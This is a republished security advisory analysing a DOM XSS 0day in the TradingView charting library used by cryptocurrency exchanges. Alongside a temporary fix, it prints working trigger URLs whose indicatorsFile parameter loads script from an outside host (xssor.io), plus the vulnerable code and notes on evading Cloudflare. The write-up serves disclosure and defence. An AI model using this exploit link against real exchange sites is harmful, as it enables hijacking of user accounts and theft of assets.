内容简介:慢雾区前后两位白帽黑客给我们反馈了这个 XSS 0day,第一位反馈的很早,但他自己把这个漏洞危害等级定义为低危,我们服务的交易所平台修复后,我们也没特别在意,直到第二位给我们再次提及这个 XSS。昨天,我们开始对我们服务的所有客户下发这个预警,内容:
余弦@慢雾安全团队
引子
慢雾区前后两位白帽黑客给我们反馈了这个 XSS 0day,第一位反馈的很早,但他自己把这个漏洞危害等级定义为低危,我们服务的交易所平台修复后,我们也没特别在意,直到第二位给我们再次提及这个 XSS。
昨天,我们开始对我们服务的所有客户下发这个预警,内容:
#0day 漏洞预警# 根据慢雾区匿名情报,通用 K 线展示 JS 库 TradingView 存在 XSS 0day 漏洞,可绕过 Cloudflare 等防御机制。该漏洞被利用会导致用户帐号权限被盗、恶意操作等造成资产损失。请确认是否使用到该组件,如有使用到请与我们联系。
当确定我们的客户修复后,我们开始对外发声,但隐去了存在漏洞的具体组件:TradingView。今天我们发现漏洞细节已经开始失控,特出此文,针对这个漏洞做个剖析。
防御方案
我们先给出当时我们同步给我们客户的临时快速解决方案:
TradingView 库 bundles 目录下有个 library 开头的 js 文件,检查这个文件是否存在漏洞代码:getScript(urlParams.indicatorsFile) 如果存在,临时解决方案可以把代码改为:getScript(""),如有问题和我们反馈。
聪明的前端黑只要看了防御方案就会知道怎么去构造这个利用。
漏洞细节
TradingView 是做 K 线展示最流行的 JS 库,在数字货币交易所、股票交易所等都有大量使用,所以影响目标很好找到。有个测试目标后,我们直接来看触发链接,随便找两个:
https://exchange.xxx.com/charting_library/static/tv-chart.0fe96f4607a34f9418bc.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=https://xssor.io/s/x.js&localserver=1&symbol=BTCUSDT&interval=1&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&timeFrames=%5B%7B%22text%22%3A%225y%22%2C%22resolution%22%3A%22W%22%7D%2C%7B%22text%22%3A%221y%22%2C%22resolution%22%3A%22W%22%7D%2C%7B%22text%22%3A%226m%22%2C%22resolution%22%3A%22120%22%7D%2C%7B%22text%22%3A%223m%22%2C%22resolution%22%3A%2260%22%7D%2C%7B%22text%22%3A%221m%22%2C%22resolution%22%3A%2230%22%7D%2C%7B%22text%22%3A%225d%22%2C%22resolution%22%3A%225%22%7D%2C%7B%22text%22%3A%221d%22%2C%22resolution%22%3A%221%22%7D%5D&locale=en&uid=tradingview_0f140&clientId=0&userId=0&chartsStorageVer=1.0&debug=false&timezone=Asia%2FShanghai https://cn.xxx.com/lib/charting_library/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=https://xssor.io/s/x.js&localserver=1&symbol=coin-usdt-btc&interval=30&toolbarbg=02112C&widgetbar=%7B%22details%22%3Afalse%2C%22watchlist%22%3Afalse%2C%22watchlist_settings%22%3A%7B%22default_symbols%22%3A%5B%5D%7D%7D&drawingsAccess=%7B%22type%22%3A%22black%22%2C%22tools%22%3A%5B%7B%22name%22%3A%22Regression%20Trend%22%7D%5D%7D&timeFrames=%5B%7B%22text%22%3A%225y%22%2C%22resolution%22%3A%22W%22%7D%2C%7B%22text%22%3A%221y%22%2C%22resolution%22%3A%22W%22%7D%2C%7B%22text%22%3A%226m%22%2C%22resolution%22%3A%22120%22%7D%2C%7B%22text%22%3A%223m%22%2C%22resolution%22%3A%2260%22%7D%2C%7B%22text%22%3A%221m%22%2C%22resolution%22%3A%2230%22%7D%2C%7B%22text%22%3A%225d%22%2C%22resolution%22%3A%225%22%7D%2C%7B%22text%22%3A%221d%22%2C%22resolution%22%3A%221%22%7D%5D&locale=zh&uid=tradingview_2c0fa&clientId=0&userId=public_user_id&chartsStorageVer=1.0&customCSS=style.css&debug=false&timezone=Asia%2FShanghai
通过分析,触发最小简化的链接是:
https://cn.xxx.com/lib/charting_library/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=https://xssor.io/s/x.js
必须存在三个参数:
disabledFeatures
enabledFeatures
indicatorsFile
indicatorsFile 很好理解,而且利用逻辑非常简单,代码所在位置:TradingView 库 bundles 目录下有个 library 开头的 js 文件,触发点如下:
D ? $.getScript(urlParams.indicatorsFile).done(function () {});
$.getScript 非常的熟悉了,在 jQuery 时代就已经实战了多次,这个函数核心代码是:
xt.ajaxTransport("script", function (e) { if (e.crossDomain) { var t, n = bt.head || bt.getElementsByTagName("head")[0] || bt.documentElement; return { send: function (r, o) { t = bt.createElement("script"), t.async = "async", e.scriptCharset && (t.charset = e.scriptCharset), t.src = e.url, t.onload = t.onreadystatechange = function (e, r) { (r || !t.readyState || /loaded|complete/.test(t.readyState)) && (t.onload = t.onreadystatechange = null, n && t.parentNode && n.removeChild(t), t = void 0, r || o(200, "success")) }, n.insertBefore(t, n.firstChild) }, abort: function () { t && t.onload(0, 1) } } } })
看代码,可以动态创建一个 script 标签对象,远程加载我们提供的 js 文件:
https://xssor.io/s/x.js
那么,另外两个参数(disabledFeatures 与 enabledFeatures)为什么是必要的?继续看代码(同样是 library 开头的那个 js 文件):
function e() { JSON.parse(urlParams.disabledFeatures).forEach(function (e) { t.setEnabled(e, !1) }), JSON.parse(urlParams.enabledFeatures).forEach(function (e) { t.setEnabled(e, !0) }) } e(),
这段代码在触发点之前,如果没有提供合法的 disabledFeatures 及 enabledFeatures 参数格式,这段代码就会因为报错而没法继续。很容易知道,合法参数格式只要满足这两个参数是 JSON 格式即可。所以,最终利用链接是:
https://cn.xxx.com/lib/charting_library/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=https://xssor.io/s/x.js
漏洞威力
为什么我们会说这个 XSS 可以绕过 Cloudflare 等防御机制?这个“等”其实还包括了浏览器内置的 XSS 防御机制。原因很简单,因为这是一个 DOM XSS,DOM XSS 的优点是不需要经过服务端,不用面对服务端的防御机制,同时不会在服务端留下日志(除非自己特别去处理)。也正是因为这是 DOM XSS 且非常简单的触发方式,浏览器端的 XSS 防御机制也没触发。
然后这个 XSS 的触发域和目标重要业务所在的域几乎没有做什么分离操作,利用代码其实非常好写,比如直接基于 $ 里的一堆方法就可以轻易获取目标平台的目标用户隐私,甚至偷偷发起一些高级操作。
有经验的攻击者,是知道如何大批量找到目标的,然后写出漂亮的利用代码。这里就不展开了。
最后做个补充:
前端黑里,需要特别去做好的安全有:XSS、CSRF、CORS、Cookie 安全、HTTP 响应头安全、第三方 js 安全、第三方 JSON 安全、HTTPS/HSTS 安全、本地储存安全等。可以查看这篇近一步了解:
杂谈区块链生态里的前端黑
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- ⼀个通杀绝⼤多数交易平台的 XSS 0day 漏洞
- 通杀绝⼤多数交易平台的Tradingview Dom XSS漏洞分析
- EOS平台DApp数据分析报告:竞猜类DApp贡献93%交易额 合约漏洞致损失超11万EOS | 链塔智库
- 数字货币交易平台面临着哪些安全威胁?
- 科普 | 数字货币交易平台面临的安全威胁
- 京东618:商城交易平台的高可用架构之路
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Haskell School of Expression
Paul Hudak / Cambridge University Press / 2000-01 / USD 95.00
Functional programming is a style of programming that emphasizes the use of functions (in contrast to object-oriented programming, which emphasizes the use of objects). It has become popular in recen......一起来看看 《The Haskell School of Expression》 这本书的介绍吧!
URL 编码/解码
URL 编码/解码
html转js在线工具
html转js在线工具